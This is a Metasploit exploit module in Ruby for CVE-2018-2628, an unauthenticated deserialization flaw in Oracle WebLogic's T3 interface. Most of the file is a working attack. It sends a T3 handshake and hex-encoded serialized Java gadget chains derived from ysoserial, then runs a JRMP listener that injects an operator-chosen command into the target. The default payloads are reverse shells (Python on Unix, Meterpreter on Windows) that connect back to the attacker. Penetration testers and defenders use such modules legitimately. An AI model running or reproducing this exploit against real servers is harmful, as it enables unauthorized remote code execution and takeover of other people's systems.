##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Oracle Weblogic Server Deserialization RCE',
      'Description' => %q{
        An unauthenticated attacker with network access to the Oracle Weblogic
        Server T3 interface can send a serialized object to the interface to
        execute code on vulnerable hosts.
      },
      'Author' =>
        [
        'brianwrf',     # EDB PoC
        'Jacob Robles'  # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2018-2628'],
          ['EDB', '44553']
        ],
      'Privileged' => false,
      'Targets' =>
        [
          [ 'Unix',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
            'Payload' => {
              'Encoder' => 'cmd/ifs',
              'BadChars' => ' ',
              'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
            }
          ],
          [ 'Windows',
            'Platform' => 'win',
            'Payload' => {},
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
          ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions' =>
        {
          'RPORT' => 7001
        },
      'DisclosureDate' => '2018-04-17'))
  end

  def check
    connect
    req = "GET /console/login/LoginForm.jsp HTTP/1.1\n"
    req << "Host: #{peer}\n\n"
    sock.put(req)

    res = sock.get_once
    disconnect
    return CheckCode::Unknown unless res

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.*\d*)/ =~ res
    if version
      version = Rex::Version.new(version)
      vprint_good("Detected Oracle WebLogic Server Version: #{version.to_s}")

      case
      when version.to_s.start_with?('10.3')
        return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
      when version.to_s.start_with?('12.1')
        return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
      when version.to_s.start_with?('12.2')
        return CheckCode::Appears unless version > Rex::Version.new('12.2.1.3')
      end
    end

    if res.include?('Oracle WebLogic Server Administration Console')
      return CheckCode::Detected
    end

    CheckCode::Unknown
  end

  def gen_resp
    if target.name == 'Windows'
      pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
      tmp_dat = pwrshl.each_byte.map {|b| b.to_s(16)}.join
    else
      nix_cmd = payload.encoded
      nix_cmd.prepend('/bin/sh -c ')
      tmp_dat = nix_cmd.each_byte.map {|b| b.to_s(16)}.join
    end

    mycmd = (tmp_dat.length >> 1).to_s(16).rjust(4,'0')
    mycmd << tmp_dat

    # Response data taken from JRMPListener generated data:
    # java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 'calc.exe'
    # Modified captured network traffic bytes. Patch in command to run
    @resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'
    @resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'
    @resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'
    @resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'
    @resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'
    @resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'
    @resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'
    @resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'
    @resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'
    @resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'
    @resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'
    @resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'
    @resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'
    @resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'
    @resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'
    @resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'
    @resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'
    @resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'
    @resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'
    @resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'
    @resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'
    @resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'
    @resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'
    @resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'
    @resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'
    @resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'
    @resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'
    @resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'
    @resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'
    @resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'
    @resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'
    @resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'
    @resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'
    @resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'
    @resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'
    @resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'
    @resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'
    @resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'
    @resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'
    @resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'
    @resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'
    @resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'
    @resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'
    @resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
    @resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'
    @resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'
    @resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'
    @resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'
    @resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'
    @resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'
    @resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'
    @resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'
    @resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'
    @resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'
    @resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'
    @resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'
    @resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'
    @resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'
    @resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'
    @resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'
    @resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'
    @resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'
    @resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'
    @resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'
    @resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'
    @resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'
    @resp << '673badd256e7e91d7b470200007078700000000174'

    @resp << mycmd

    @resp << '74'
    @resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'
    @resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'
    @resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'
    @resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'
    @resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'
    @resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'
    @resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'
    @resp << '7e005a'
  end

  def on_client_connect(client)
    # Make sure to only sent one meterpreter payload to a host.
    # During testing the remote host called back up to 11 times
    # (or as long as the server was listening).
    vprint_status("Comparing host: #{client.peerhost}")
    if @met_sent.include?(client.peerhost) then return end
    @met_sent << client.peerhost

    vprint_status("Sending payload to client: #{client.peerhost}")

    # Response format determined by watching network traffic
    # generated by EDB PoC
    accept_conn = '4e00'
    raccept_conn = client.peerhost.each_byte.map {|b| b.to_s(16)}.join
    accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2,'0')
    accept_conn << raccept_conn
    accept_conn << '0000'
    accept_conn << client.peerport.to_s(16).rjust(4,'0')

    client.put([accept_conn].pack('H*'))
    client.put([@resp].pack('H*'))
  end

  def t3_handshake
    shake = '74332031322e322e310a41533a323535'
    shake << '0a484c3a31390a4d533a313030303030'
    shake << '30300a0a'

    sock.put([shake].pack('H*'))
    sleep(1)
    sock.get_once
  end

  def build_t3_request_object
    # data block is from EDB PoC
    data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
    data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
    data << '700000000a000000030000000000000006007070707070700000000a00000003'
    data << '0000000000000006007006fe010000aced00057372001d7765626c6f6769632e'
    data << '726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078'
    data << '707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e506163'
    data << '6b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d69'
    data << '6e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b'
    data << '5a000e74656d706f7261727950617463684c0009696d706c5469746c65740012'
    data << '4c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271'
    data << '007e00034c000b696d706c56657273696f6e71007e000378707702000078fe01'
    data << '0000aced00057372001d7765626c6f6769632e726a766d2e436c617373546162'
    data << '6c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e'
    data << '636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f9722455164'
    data << '52463e0200035b00087061636b616765737400275b4c7765626c6f6769632f63'
    data << '6f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e7265'
    data << '6c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e67'
    data << '3b5b001276657273696f6e496e666f417342797465737400025b427872002477'
    data << '65626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b61676549'
    data << '6e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f724900'
    data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'
    data << '6d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a'
    data << '696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e'
    data << '000478707702000078fe010000aced00057372001d7765626c6f6769632e726a'
    data << '766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c0000787072'
    data << '00217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5065657249'
    data << '6e666f585474f39bc908f10200064900056d616a6f724900056d696e6f724900'
    data << '0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465'
    data << '6d706f7261727950617463685b00087061636b616765737400275b4c7765626c'
    data << '6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f'
    data << '3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5665'
    data << '7273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data << '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c61'
    data << '6e672f537472696e673b5b001276657273696f6e496e666f4173427974657374'
    data << '00025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c'
    data << '2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f7249'
    data << '00056d696e6f7249000c726f6c6c696e67506174636849000b73657276696365'
    data << '5061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c'
    data << '6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56'
    data << '657273696f6e71007e000578707702000078fe00fffe010000aced0005737200'
    data << '137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078'
    data << '707750210000000000000000000d3139322e3136382e312e323237001257494e'
    data << '2d4147444d565155423154362e656883348cd6000000070000'

    data << rport.to_s(16).rjust(4, '0')

    data << 'ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced00'
    data << '05737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a'
    data << '0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461'
    data << '863d1d0000000078'

    sock.put([data].pack('H*'))
    sleep(2)
    sock.get_once
  end

  def send_payload_objdata
    # JRMPClient2 payload generated from EDB PoC:
    # python exploit.py <rhost> <rport> ysoserial-0.0.6-SNAPSHOT-BETA-all.jar <lhost> <lport> JRMPClient2
    # Patch in srvhost and srvport
    payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
    payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
    payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced'
    payload << '00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e'
    payload << '7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e0020000'
    payload << '78707702000078fe010000aced00057372001d7765626c6f6769632e726a766d'
    payload << '2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870720013'
    payload << '5b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870'
    payload << '7702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e43'
    payload << '6c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a61'
    payload << '76612e7574696c2e566563746f72d9977d5b803baf0103000349001163617061'
    payload << '63697479496e6372656d656e7449000c656c656d656e74436f756e745b000b65'
    payload << '6c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b'
    payload << '78707702000078fe010000'

    # Data
    payload << 'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e'
    payload << '416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50'
    payload << '726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e67'
    payload << '2f7265666c6563742f496e766f636174696f6e48616e646c65723b7870737200'
    payload << '2d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e76'
    payload << '6f636174696f6e48616e646c657200000000000000020200007872001c6a6176'
    payload << '612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c6133'
    payload << '1e030000787077'

    unicast_srvhost = srvhost.each_byte.map { |b| b.to_s(16) }.join
    unicast_dat = '000a556e696361737452656600'
    unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2,'0')
    unicast_dat << unicast_srvhost
    unicast_dat << '0000'
    unicast_dat << srvport.to_s(16).rjust(4,'0')
    unicast_dat << '000000004e18654b000000000000000000000000000000'
    unicast_dat << '78'

    payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2,'0')
    payload << unicast_dat

    payload << 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461'
    payload << '626c6553657276696365436f6e74657874ddcba8706386f0ba0c000078720029'
    payload << '7765626c6f6769632e726d692e70726f76696465722e42617369635365727669'
    payload << '6365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765'
    payload << '626c6f6769632e726d692e696e7465726e616c2e4d6574686f64446573637269'
    payload << '70746f7212485a828af7f67b0c000078707734002e61757468656e7469636174'
    payload << '65284c7765626c6f6769632e73656375726974792e61636c2e55736572496e66'
    payload << '6f3b290000001b7878fe00ff'

    data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
    data << payload

    sock.put([data].pack('H*'))
    sleep(1)
    sock.put([data].pack('H*'))
    sleep(1)
    sock.get_once
  end

  def exploit
    @met_sent = []
    gen_resp

    connect
    vprint_status('Sending handshake...')
    t3_handshake

    build_t3_request_object

    start_service

    print_status('Sending client object payload...')
    send_payload_objdata

    # Need to wait this long to make sure we get a shell back
    sleep(10)
  end
end